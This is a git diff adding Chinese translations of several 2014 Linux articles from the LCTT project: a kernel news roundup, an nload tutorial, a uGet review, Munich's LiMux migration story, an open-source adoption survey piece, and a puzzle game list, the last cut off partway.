原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201404/Linux Commands Cheat Sheet in Black & White.md b/published/201404/Linux Commands Cheat Sheet in Black & White.md new file mode 100644 index 0000000000..c0c02f97fd --- /dev/null +++ b/published/201404/Linux Commands Cheat Sheet in Black & White.md @@ -0,0 +1,13 @@ +[大图] Linux 命令黑白备忘录 +================================================================================ +在你的桌面上保留一份打印的备忘录,我保证你会很快学会并成为一个专家。我们已经同时加入pdf和图片(png)两种格式的备忘录。如果你需要我们加入更多命令请保留我们的文章。命令依据它们的用途被分类成13类。我们将命令设计在如我们经常使用的linux shell那样的黑底白字。我们还加入了一些红色来提升注意。:-) + +![](http://linoxide.com/guide/linux-cheat-sheet.png) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-commands-cheat-sheet/ + +译者:[geekpi](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201404/Linux Kernel News - January and February 2014.md b/published/201404/Linux Kernel News - January and February 2014.md new file mode 100644 index 0000000000..44cd640bbc --- /dev/null +++ b/published/201404/Linux Kernel News - January and February 2014.md @@ -0,0 +1,113 @@ +Linux 内核事件回顾-2014年1月及2月 +================================================================================ +过去两个月来,我一直在本文中更新报道Linux项目的进展情况。请原谅我最近在埋头于一些开发工作。闲话少说,让我们赶紧把落下的功课补上。 + +###主线发布(Linus的分支)的相关新闻### + +2014年1月19日,Linux3.13发布。详见[Linux3.13是什么][1]。2014年3月2日,3.14-rc5发布。根据rc版本发布的进程来看,2014年3月底前Linux3.14应该就能正式发布。git中3.14-rc1已经PR(pull requests)的一些摘要更新如下: + +### 来自Len Brown的turbostat更新: ### + +> 一个新的命令行选项 -s,用来dump计数器 +> +> 加强对Haswell Xeon [HSX]的支持。HSX在支持RAPL上与HSW客户端稍有不同,HSX的上一个版本并不支持turbostat。 + +### 来自Olof Johansson的针对ARM SoC的修复: ### + +> 在defconfig中针对相应的平台设备增加了新的驱动 +> +> 增加多平台覆盖率,修改一些DTS,统一相关设备及其衍生产品的驱动支持 + +### 来自Catalin Marinasd的ARM64位补丁:### + +> 支持用PTE_WRITE位来区分某个页面是干净可写的,还是真正的只读页面。 + +### 来自Rafael Wysocki的ACPI及电源管理更新:### + +> 修改ACPI核心,即不论当前设备的状态如何,在扫描命名空间的同时,为ACPI表中列出的每一个设备创建一个acpi_device结构对象。这一改动可以在ACPI表失效前,有效防止ACPI热插拔操作时错误地删除某些对象。 +> +> Todd E Brandt提供了一个用于挂起/恢复性能优化的新工具 +> +> 修改初始化代码,将ACPI的初始化提前,这样内核就能在计时器初始化的时候继续使用ACPI,同时有可能简化EFI的初始化。 —— 来自李春义(音Chun-Yi Lee) +> +> apm-仿真:添加APM休眠事件使其支持suspend2disk —— 用于改进使用休眠技术实现快速启动的嵌入式系统。通过此改动,APM事件通知软件组件,准备休眠以及状态恢复。捕捉apm状态可以有效帮助实现快速启动,同时保持系统状态,用于休眠和恢复。这一改动使apm支持“挂起到磁盘”。 + +### 来自张瑞(音Zhang Rui)的热量管理更新:### + +> 实时显示设备树的基础设施硬件的热性能。该工作包含了设备树介绍,描述硬件热行为及其限制,读取分析热数据,并建立热区间及其热参数。另外针对三家设备(TI SoC和hwmon的两台设备)的传感器设备使用新的表述方式进行API初始验证。这是完成验证工作的第一步,即使设备转为使用相应的API并进行验证。 + +### Links to 3.14-rcs ### + +- [Linux 3.14-rc1 is out][2] +- [Linux 3.14-rc2][3] +- [Linux 3.14-rc3][4] +- [Linux 3.14-rc4][5] +- [Linux 3.14-rc5][6] + +### 稳定分支发布的相关新闻 ### + +Jiri Slaby正在接管3.12稳定分支的长期维护工作。Greg KH将继续负责kernel.org的发布。Jiri Slaby负责补丁汇总,发布候选声明。详见[3.12-稳定版内核分支由Jiri Slaby接管][7]。最新的稳定分支发布如下: + +### 最新稳定版及扩展版发布 ### + +#### Release Version Projected EOL #### + Stable 3.13 3.13.6 Not announced + Stable 3.12 3.12.14 Not announced + Stable 3.11 3.11.10 EOL November 29 2013 + Longterm 3.10 3.10.33 September 2015 + Longterm 3.4 3.4.82 October 2014 + Longterm 3.2 3.2.55 2016 + Longterm 3.0 3.0.101 EOL October 22 2013 + Longterm 2.6.34 2.6.34.15 EOL February 10 2014 + Longterm 2.6.32 2.6.32.61 mid-2014 + Extended stable 3.11.y.z 3.11.10.6 [Extended Stable][8] + Extended stable 3.8.y.z 3.8.13.19 [Extended Stable][9] + Extended stable 3.5.y.z 3.5.7.31 [Extended Stable][10] + +如果你还想知道这些稳定版的发布是如何管理的,或者新版多久发布一次,详见[Active kernel releases][11]。 + +### Linux RT ### + +Linux RT的稳定版发布多的不胜枚举。请移步linux-stable-rt.git查看最新版本。 + +### 哪里能找到Linux发布的所有git树? ### + +#### Linux Release Git #### + +Mainline git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git +Stable releases (all) git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git +Linux RT releases git://git.kernel.org/pub/scm/linux/kernel/git/rt/linux-stable-rt.git +Extended stable releases git://kernel.ubuntu.com/ubuntu/linux.git +Bleeding edge linux-next git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git + +### 思考写在最后 ### + +3.13中的“TCP快速启动”从某些类型的TCP会话中去除了一轮时间轮询,从而大大提升了TCP连接的建立速度,web网页的加载速度也得以改进。 + +针对ARM的相关修改是3.14-rc1中的重要更新。许多新设备现在都支持或增加了多平台设备的覆盖率,对DTS的一些修改统一了相关设备及其衍生产品的驱动支持。相对于以前的设备树需要平台间的迁移,多平台配置配合DTS改进现在仅需一个通用设备驱动。这对于ARM的拓展是件好事,它开始能够支持PCI设备了。 + +改进嵌入式设备的休眠功能,进而用于快速启动,这对手机和嵌入式设备是个利好。谁愿意自己的手机休眠的时候总出意外? + +Linux3.14-rc5的声明中,Linus Torvalds说道“下一周,下一个rc。一切都很平静,一切都很正常。”基于此,如果没有特殊情况,Linux3.14将在两到三周内发布。与往常一样,紧接着下一个合并窗口也就是3.15-rc1即将打开。 + +如果有人想知道Jiri Slaby接管3.12的长期维护后有哪些改变,请放心,一切如常。Jiri Slaby将搜集补丁,发布候补。我志愿测试3.12的候补发布,Guenter Roeck志愿在3.12的补丁队列上运行他的build测试。Greg KH将负责kernel.org的最终发布。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/linux-kernel-news-january-and-february-2014 + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://kernelnewbies.org/LinuxChanges +[2]:https://lkml.org/lkml/2014/2/2/176 +[3]:https://lkml.org/lkml/2014/2/9/372 +[4]:https://lkml.org/lkml/2014/2/16/120 +[5]:https://lkml.org/lkml/2014/2/23/234 +[6]:https://lkml.org/lkml/2014/3/2/257 +[7]:https://lkml.org/lkml/2014/2/26/596 +[8]:https://wiki.ubuntu.com/Kernel/Dev/ExtendedStable +[9]:https://wiki.ubuntu.com/Kernel/Dev/ExtendedStable +[10]:https://wiki.ubuntu.com/Kernel/Dev/ExtendedStable +[11]:https://www.kernel.org/category/releases.html diff --git a/published/201404/Linux and Unix nload App - Monitor Network Traffic and Bandwidth Usage In Real Time.md b/published/201404/Linux and Unix nload App - Monitor Network Traffic and Bandwidth Usage In Real Time.md new file mode 100644 index 0000000000..0e87d329d4 --- /dev/null +++ b/published/201404/Linux and Unix nload App - Monitor Network Traffic and Bandwidth Usage In Real Time.md @@ -0,0 +1,145 @@ +在 Linux/UNIX 终端下使用 nload 实时监控网络流量和带宽使用 +================================================================================= +如果你想在命令行界面监控网络吞吐量,nload 应用程序是个不错的选择。它是一个实时监控网络流量和带宽使用的控制台应用程序,使用两个图表可视化地展示接收和发送的流量,并提供诸如数据交换总量、最小/最大网络带宽使用量等附加信息。 + +###安装### + +#### 在 CentOS/RHEL/Red Hat/Fedora Linux 上安装 nload #### + +首先在 CentOS 或者基于 RHEL 的操作系统上[启用 EPEL 仓库][1],然后键入 [yum 命令][2]安装 nload: + + # yum install nload + +#### 在 Debian 或者 Ubuntu Linux 上安装 nload #### + +键入 [apt-get 命令][3]: + + $ sudo apt-get install nload + +#### 在 FreeBSD 操作系统上安装 nload #### + +通过 port 安装 nload,键入: + + # cd /usr/ports/net/nload/ && make install clean + +或者添加包 + + # pkg install net/nload + +#### 在 OpenBSD 操作系统上安装 nload #### + +键入下列命令: + + $ sudo pkg_add -i nload + +#### 在类 Unix 操作系统上从源代码安装 nload #### + +首先,使用 wget 或者 curl 命令获取源代码: + + $ cd /tmp + $ wget http://www.roland-riegel.de/nload/nload-0.7.4.tar.gz + +[使用 tar 命令解压缩名为 nload-0.7.4.tar.gz 的 tar 包][4],键入: + + $ tar xvf nload-0.7.4.tar.gz + +使用 cd 命令进入 nload 源代码所在目录: + + $ cd nload* + +然后键入 ./configure 为你的操作系统配置安装包: + + $ sh ./configure + +或者 + + $ ./configure + +运行 configure 命令需要一点时间。完成后,使用 make 命令编译 nload: + + $ make + +最后,键入 make install 命令以 root 用户身份安装 nload 应用程序和相关文件: + + $ sudo make install + +或者 + + # make install + +### 使用 ### + +如何使用 nload 显示当前网络使用量呢? + +基本语法是: + + nload + nload device + nload [options] device1 device2 + +键入下列命令: + + $ nload + $ nload eth0 + $ nload em0 em2 + +会得到输出: + +![Fig. 01: nload command in action](http://s0.cyberciti.org/uploads/cms/2014/03/nload-command-linux-unix-screenshot-output.jpg) + +*图01: 使用 nload 命令* + +#### 操控 nload 应用程序 #### + +nload 命令一旦执行就会开始监控网络设备,你可以使用下列快捷键操控 nload 应用程序。 + +1. 你可以按键盘上的 ← → 或者 Enter/Tab 键在设备间切换。 +2. 按 F2 显示选项窗口。 +3. 按 F5 将当前设置保存到用户配置文件。 +4. 按 F6 从配置文件重新加载设置。 +5. 按 q 或者 Ctrl+C 退出 nload。 + +#### 设置显示刷新间隔 #### + +默认每 100 毫秒刷新一次显示数值,下面的例子将时间间隔设置成 500 毫秒: + + $ nload -t {interval_number_in_millisec} + $ nload -t 500 + +输出: + +![Animated gif 01 - nload command in action](http://s0.cyberciti.org/uploads/cms/2014/03/nload-demo.gif) + +GIF 动画 01 - 使用 nload 命令 + +#### 设置流量数值显示的单位 #### + +语法如下: + + $ nload -u h|H|b|B|k|K|m|M|g|G + $ nload -U h|H|b|B|k|K|m|M|g|G + $ nload -u h + $ nload -u G + $ nload -U G + +释义: + +- 小写选项 -u: h 意为自动格式化为人类易读的单位,b 意为 Bit/s,k 意为 kBit/s,m 意为 MBit/s,g 意为 GBit/s。大写字母意为使用 Byte 替代 Bit。默认为 k。 +- 大写选项 -U 与小写选项 -u 非常相似,不同之处在于它展示的是数据量,比如 Bit, kByte, GBit 等等。(没有 "/s")。默认值是 M。 + +### 结论 ### + +我觉得 nload 是一个稳定可靠的应用程序,如果你喜欢 nload,你可能也想试试 Linux 和其他类 Unix 操作系统环境下的 vnstat 与 iftop 工具。 + +-------------------------------------------------------------------------------- + +译自: http://www.cyberciti.biz/networking/nload-linux-command-to-monitor-network-traffic-bandwidth-usage/ + +译者:[blueabysm](https://github.com/blueabysm) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.cyberciti.biz/faq/fedora-sl-centos-redhat6-enable-epel-repo/ +[2]:http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/ +[3]:http://www.cyberciti.biz/tips/linux-debian-package-management-cheat-sheet.html +[4]:http://www.cyberciti.biz/faq/tar-extract-linux/ diff --git a/published/201404/Meet uGet, an Amazing Download Manager for Linux.md b/published/201404/Meet uGet, an Amazing Download Manager for Linux.md new file mode 100644 index 0000000000..473c2609c7 --- /dev/null +++ b/published/201404/Meet uGet, an Amazing Download Manager for Linux.md @@ -0,0 +1,27 @@ +邂逅uGet,一个令人惊奇的Linux下载管理器 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Meet-uGet-an-Amazing-Download-Manager-for-Linux-430085-3.jpg) + +功能强大下载管理器在Linux平台并不常见,不过有一些却有令人惊奇的功能,uGet就是其中之一。 + +当人们在Linux平台谈论下载管理器,他们通常觉得这些是在终端上。大多数情况下他们是对的。大多数下载管理器运行在终端上,而且做的很好,但是一些时候你还是想要一个友好的GUI。 + +[uGet][1]是非常强大的下载管理器,拥有许多功能,实际上这些功能是难以计数的。界面是由GTK+ 3构建,这意味着在多数Linux操作系统上看起来很不错。 + +它的下载队列管理功能可以恢复下载任务(如果服务器支持的话)、剪切板监控,支持HTTP/HTTPS/FTP/BitTorrent/Metalink账号、批量下载、FTP登陆、调度器、Aria2插件和我的个人收藏夹、断点续传(允许客户端多个时间连接同一台服务器并且在同一时间获取多个片段来增加速度)。 + +最妙的是,它可以轻松的集成到Firefox,Flashgot插件帮助下载,也有Chrome的专用扩展程序。 + +开发者为所有类型的Linux发行版提供了多个软件包,切记,它是完全免费的。 + +试试看吧! + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Meet-uGet-an-Amazing-Download-Manager-for-Linux-430085.shtml + +译者:[Vito](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ugetdm.com/ \ No newline at end of file diff --git a/published/201404/Moving a city to Linux requires political backing, says Munich project leader.md b/published/201404/Moving a city to Linux requires political backing, says Munich project leader.md new file mode 100644 index 0000000000..29a8652b1a --- /dev/null +++ b/published/201404/Moving a city to Linux requires political backing, says Munich project leader.md @@ -0,0 +1,65 @@ +慕尼黑市项目负责人称“将整个城市迁移到 Linux 需要政策支持” +================================================================================ +> 慕尼黑市政府已将接近 15,000 台 PC 从 Windows NT 操作系统迁移到了其自有的 Linux 发行版 + +来自IDG 新闻 : 慕尼黑市十年前开始向 Linux 迁移,今年我们见证了这项工程竣工。“我们学到的最深一课是,你无法在没有持续政策支持的情况下完成这样的项目。”LiMux 项目的负责人 Peter Hofmann 在总结经验时说。 + +慕尼黑市政府将他们网络上 15,000 台 PC 中大约 14,800 台迁移到了他们自有的基于 Ubuntu 的 Linux——LiMux 上。这超出了他们原定迁移 12,000 台桌面计算机的计划。 + +慕尼黑市是在 Microsoft 声明将不再为 Windows NT 4.0 提供支持的时候决心迁移他们的 IT 系统的,因为他们使用的就是 Windows NT 4.0。当时,该市不得不在迁移到新版 Windows 和寻找一个替代平台之间做出抉择,因为新的软件以及现存软件的新版本都将无法在 Windows NT 上使用。市议会决定与 Linux 携手,和软件供应商们保持更加独立的关系。 + +Hofmann 说,政策支持是迁移成功的关键。 + +“我们从始至终都拥有政策的支持。我们得让政府官员们时刻掌握项目最新信息,就像对待股东一样。”他说。 + +借助这样的手段,这些政客们从未丧失对项目的兴趣,也始终能了解到项目执行人在做什么,他说。“我目睹过很多开源项目流产,”因为它们要么未得到、要么失去了政策支持,他说。 + +市政府原定 2009 年完成迁移计划,但事实上从最初作出决定到 LiMux 项目迁移完工大约耗费了十年时间。项目全程也经历了几次延期。 + +迁移工作在原计划一年之后才真正开始,这是第一次延期,Hofmann 说。第二次延期缘于 2007 年市议会的一个决定:慕尼黑市的 IT 部门也要负责 Linux 客户端基础设施所必须的标准化工作,他说。但是慕尼黑市既没有正确的程序也没有正确的组织来实现这种标准化,他说。 + +项目第三次延期是在 2010 年,当时市议会决定扩大项目规模,Hofmann 说。风险管理、测试管理和需求工程作为三个附加任务目标被加进了项目里。 + +尽管困难重重,Hofmann 说他仍然愿意下次再做一次。 + +慕尼黑市 IT 组织的异质性基础设施曾是该项目最大的问题之一,Hofmann 说。项目启动之初,22 个组织都有自己独有的配置、软硬件、进程、Windows 客户端知识以及相应投入使用的基础设施,他说。“我们想建设一个标准化的、集中交付和开发的 Linux 客户端,”他说。 + +Hofmann 预计,四分五裂的基础设施会造成问题。事实证明,不论从技术因素还是组织因素来看,标准化客户端的工作都比他预想的还要艰难。 + +幸运的是,他有足够的自由度重建整个城市的 IT 基础设施。 + +“任何人在打算迁移之前都要重新审视他们的整个 IT 组织。迁移到 Linux 远非节省开支和使用免费软件那么简单。”他补充道。 + +但慕尼黑市的迁移工作确确实实省钱了。2012 年 11 月,一名市议员答复道,慕尼黑市计算出迁移到 LiMux 会比更新已有 Microsoft 软件[节省超过 1100 万欧元][1]! + +这项计算横向对比了 LiMux、Windows 7 + Microsoft Office、Windows 7 + OpenOffice(慕尼黑市为 LiMux 选择的生产力套件) 三种方案,包含必要的硬件升级、培训、外部迁移支持和优化事务以及其他指标。两个 Windows 方案都明显比 LiMux 方案昂贵很多,这主要缘于微软对软件使用许可收取的费用。 + +Hofmann 说,LiMux 不存在支持合同。“你要支持合同干什么?实际上你并没有得到支持,你得到的是新版本。你需要它的唯一理由来自于你的律师,他让你这么做以便日后出现问题有责任人可以追究。我们不追究任何人,我们自己会搞定那些问题,”他说。 + +如果慕尼黑市的 IT 人员不能自己修复 bug,他们可以寻求专家解决特定的 bug,Hofmann 说。“你不再依赖从软件供应商那里买来的服务,你依靠你自己和你掌握的信息,”他说。 + +尽管这样,抱怨依然存在。从外部组织收到的 Word 和 Excel 文档有时候不得不做些更改再发回去,这样一来会给互通性造成麻烦,他说。慕尼黑市正在说服与他们通信的人员使用 OpenOffice 的 ODF 格式文档,或者对不需要修改的文档使用 PDF 格式,Hofmann 说。慕尼黑市已经借助这一途径协助了互通工具在金融业的推广。 + +作为 OpenOffice 迁移计划的一部分,慕尼黑市还开发了 WollMux。这是一个用于模板和表单的 Office 扩展,于 2008 年以自由软件的形式发布,如今已经被少数其他组织采用,他说。 + +清除 Microsoft Office 的工作中还存在其他一些障碍——该市内部应用程序对数以千计的 Microsoft Office 和 Visual Basic 宏的依赖就是其中之一,Hofmann 说。 + +如今仍然有约 100 个这样的宏在为数不多的 Windows PC 上使用。 + +“我们的目标从来都不是彻底清除 Windows,”他说,尽管该市已经超出了迁移 80% PC 的最初目标并且一直运转良好。 + +以财政部门为例,三台 Windows PC 仍然在运行特殊的银行软件。如果要迁移到 LiMux,市政府得付钱让软件供应商为这三台机器上运行的应用程序开发 LiMux 版本,Hofmann 说。 + +该市与德国政府印刷护照的“联邦印刷”打交道时也面临类似的问题。联邦印刷要求使用一个 Windows 应用程序发送护照所需的个人数据,他说。 + +Hofmann 在对这个城市的未来信心满怀的时候也认识到并不是所有人都适合迁移到 Linux。但即使不想迁移到 Linux 的人也一样可以从慕尼黑市的经验中得益:“曾有人对我说,‘从你启动项目那时起,我就可以和 Microsoft 谈判了。’” + +-------------------------------------------------------------------------------- + +译自: http://www.computerworld.com/s/article/9245353/Moving_a_city_to_Linux_requires_political_backing_says_Munich_project_leader?taxonomyId=122 + +译者:[sailing](https://github.com/blueabysm) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.itworld.com/operating-systems/321474/switching-linux-saves-munich-over-11-million diff --git a/published/201404/Open Source Isn't Just For Developers Anymore.md b/published/201404/Open Source Isn't Just For Developers Anymore.md new file mode 100644 index 0000000000..b8abac0d67 --- /dev/null +++ b/published/201404/Open Source Isn't Just For Developers Anymore.md @@ -0,0 +1,50 @@ +开源文化不再仅仅局限于开发者 +================================================================================ + +> 新一项调查显示,曾经作为开发者癖好的开源文化如今正在蔓延 + +十年前,开源是一项开发者运动,今天已远非如此。 + +[Linux 基金会][1]的一项新调查显示,“企业管理者认识到,企业不仅迫切需要开源软件,而且也率先参与开源软件的研发。”这一点反过来也巩固了开源软件作为企业关键驱动力的地位,而不仅仅是一种高效的代码编写方式。 + +### 企业会限制开源软件的生存空间吗? ### + +作为昔日自主创新的模仿者,开源软件早在若干年前就确立了行业创新的计划。计算机行业最主流的趋势——从云计算到大数据,再到移动互联网——都是由开源软件推动的。这一点企业用户已经注意到了。 + +过去,仅仅是开发者习惯于借助开源软件的力量,把自己从繁重的企业需求开发中解放出来。而现在,企业管理者也更多地在公开求助于开源软件。 + + +通过对 686 名软件开发人员与企业管理人员的调查,我们发现,与开发者不同,企业开始使用开源软件是出于不得已。 + +![](http://readwrite.com/files/Screen%20Shot%202014-03-25%20at%2010.08.56%20PM.png) + +从 Linux 基金会的调查可以发现另一些有趣的事实,每一点都表明将来开源会对企业有更大的影响力,企业也会更多参与开源。 + +- 35% 的开发者在业余时间会使用开源软件,并会以贡献代码的方式参与到开源软件的开发中来。 +- 44% 的受访开发者表明,贡献开源软件的首要原因是工作需要。 +- 有趣的是,拥有十年甚至更多开发经验的软件开发者更有可能在业余时间参与贡献开源软件,而开发经验不满十年的开发者更有可能是出于工作需要。 + +这一调查结果的潜台词很明显:开源软件开发更多是受到商业需求的驱使。事实上,44% 的企业管理者表明他们会在未来六个月内增加对软件协同开发的投资,另42%的企业管理者也说他们计划维持目前的投资数额。没有受访者表明他们打算削减投资。 + +### 开源企业 ### + +人们对开放协同开发抱有令人兴奋的乐观主义信念。这种信念的能量,一部分源自于 Hadoop 和 Android 这样的特殊项目,更多的源自于业界同行甚至竞争对手之间协同开发解决艰难技术问题的过程。OpenStack、OpenDaylight、Eclipse 和 Linux 都是业界合作的项目。对于像 IBM 这样的公司,合作基金会在开发中已经成为了新的默认组织。 + +但协同软件开发背后的目的可不是围着营火手牵着手唱“kumbaya”。各种组织对协同软件开发的期待都是出于驱动有形商业利益的目的。 + +![](http://readwrite.com/files/Screen%20Shot%202014-03-25%20at%2010.35.00%20PM.png) + +这不该是个令人震惊的消息。随着自由开源软件运动的成熟,约束较少的协议方式 Apache 许可协议比 GNU 通用许可协议(GPL)更受到了青睐,运动本身的理念也走下神坛被越来越多地接受和采纳。巨大变革已经产生,[Github 一代常常回避各种正式许可协议][2]这一点已经成为事实(不过反过来也为自己带来了商业上的麻烦)。 + +在各行各业里,组织都迫于压力降低成本提高产出,交付软件产品的时限也远比以往严格。作为其中之一的 Google 曾说,没有开源和开放标准,就没有今天的 Google。其他组织也逐渐意识到了这一点。 + +-------------------------------------------------------------------------------- + +译自:http://readwrite.com/2014/03/26/open-source-development-business-managers-users-linux-foundation-study#feed=/hack&awesm=~ozHpY5jaMeoZsu + +译者:[sailing](https://github.com/blueabysm) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxfoundation.org/ +[2]:http://readwrite.com/2013/05/15/open-source-is-old-school-says-the-github-generation#awesm=~ozzZjjwfY7FyDr diff --git a/published/201404/Play the Best Linux Puzzle Games.md b/published/201404/Play the Best Linux Puzzle Games.md new file mode 100644 index 0000000000..a9b61b65b6 --- /dev/null +++ b/published/201404/Play the Best Linux Puzzle Games.md @@ -0,0 +1,178 @@ +30个Linux上的益智小游戏 +================================================================================ +在Linux环境下有大量的免费游戏,其中还有许多是开源的,其中相当一部分非常引人注目。现在的主流游戏一般包含了全动态影像,矢量图形,3D图形,3D渲染,动画,纹理贴图,物理引擎,以及其他的技术。而早期的电脑游戏还没有使用这些图形技术,最早的电脑游戏是文字游戏或者基于文字的游戏,它们使用字符作为基本工具而不是矢量或点阵图像。 + +谚语'不要根据封面去评价一本书'可以扩展成'不要根据界面来评价一款电脑游戏'。尽管在这篇文章中提到的很多游戏都只有非常普通的界面,它们从其他方面来弥补,包括挑战性的玩法,以及锻炼脑力。 + +本文的目的是找出那些受欢迎的益智游戏,这些游戏可以促进智力,或用做日常消遣。 + +本文的重点是那些不太受关注的免费Linux游戏,而不是Steam平台的类似商业游戏。这里列出来的所有游戏都值得一玩,尽管它们大多没有像商业同类应用那样精心美化,可玩性仍然不错。 + +这个列表中所包含的游戏,需要达到以下的要求: + +- 免费(没有下载费用,没有月度费用) +- 不需要通过Wine来执行。Wine是一个运行Windows软件的兼容层。 +- 必须有可玩性和有趣。 + +现在,让我们来检查一下手上的30款游戏。我们为每一款游戏做了一个页面,里面有游戏截图,游戏的完整描述,游戏特性的深度分析,以及相关资源和评论的链接。 + +### 益智游戏 ### + +### [Neverball][1] 倾斜地板来滚动一个球并通过障碍物 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Neverball-Small.png) + +### [Incredipede][2] 赞美世界生命的多样性 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Incredipede-Small.png) + +### [Frozen Bubble][3] 投掷彩色泡泡搭建或销毁组合 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-FrozenBubble-Small.png) + +### [Enigma][4] 找到有相同颜色的Oxyd石头对 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Enigma1-Small.png) + +### [Crack Attack!][5] 类似于Super Nintendo的经典游戏"Tetris Attack" + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Crack%20Attack%21-Small.png) + +### [Puzzle Collection][6] 36个谜题,大部分是重新实现的 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-PuzzleCollection.png) + +### [Zaz][7] 简单容易上瘾的益智游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Zaz-Small.png) + +### [Berusky][8] 基于一个古老的名叫Sokoban的益智游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Berusky-Small.png) + +### [gbrainy][9] 锻炼记忆,算术,逻辑能力 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-gbrainy-Small.png) + +### [Monsterz][10] Arcade益智游戏,类似于Bejeweled, Zookeeper或Zooo + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Monsterz-Small.png) + +### [levelHead][11] 3D空间记忆游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-levelHead-Small.png) + +### [gjid][12] 移动箱子来通过复杂的迷宫送到回收箱里 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-gjid-Small.png) + +### [Bombermaaan][13] 经典Bomberman游戏的多人版本 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Bombermaaan-Small.png) + +### [Angry, Drunken Dwarves][14] 类似Puzzle Fighter的好玩益智游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Angry-Small.png) + +### [Berusky 2][15] 挑战你的视觉/空间思维能力 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Berusky2-Small.png) + +### [Numpty Physics][16] 受Crayon Physics启发的绘画益智游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-NumptyPhysics-Small.png) + +### [Amoebax][17] Puyo类型益智游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Amoebax1-Small.png) + +### [Klest-crossword][18] 跨平台的纵横字谜游戏 + +(缺图) + +### [Xwelltris][19] 2.5D类俄罗斯方块游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Xwelltris-Small.png) + +### [I Have No Tomatoes][20] 超级休闲时间的活动 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-IHaveNoTomatoes-Small.png) + +### [Cube Trains][21] 在一座城市里建造高架铁路 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-CubeTrains-Small.png) + +### [Pingus][22] 类似Lemmings的游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Pingus1-Small.png) + +### [Trackballs][23] 基于OpenGL的迷宫弹珠游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Trackballs1-Small.png) + +### [Brain Workshop][24] Dual n-back大脑练习 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-BrainWorkshop-Small.png) + +### [rezerwar][25] 给方块加入了有方向的管道的益智游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-rezerwar-Small.png) + +### [Brain Party][26] 解谜,脑力训练游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-BrainParty-Small.png) + +### [JAG][27] 类似KDiamonds的2D游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-JAG-Small.png) + +### [Atomic Worm][28] 刺激的类似贪食蛇游戏 + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-AtomicWorm-Small.png) + +### [Pioneers][29] 基于Settlers of Catan + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Pioneers-Small.png) + +### [Fish Fillets NG][30] Altar Interactive平台的FIsh Fillets游戏的移植 + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Fish%20Fillets-Small.png) + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20140201084806845/PuzzleGames.html + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxlinks.com/article/2008051019354650/Neverball.html +[2]:http://www.linuxlinks.com/article/20140201101247656/Incredipede.html +[3]:http://www.linuxlinks.com/article/20080510102350336/FrozenBubble.html +[4]:http://www.linuxlinks.com/article/20080524072250420/Enigma.html +[5]:http://www.linuxlinks.com/article/20080524100816516/CrackAttack%21.html +[6]:http://www.linuxlinks.com/article/20140201135434313/PuzzleCollection.html +[7]:http://www.linuxlinks.com/article/20101211064900466/Zaz.html 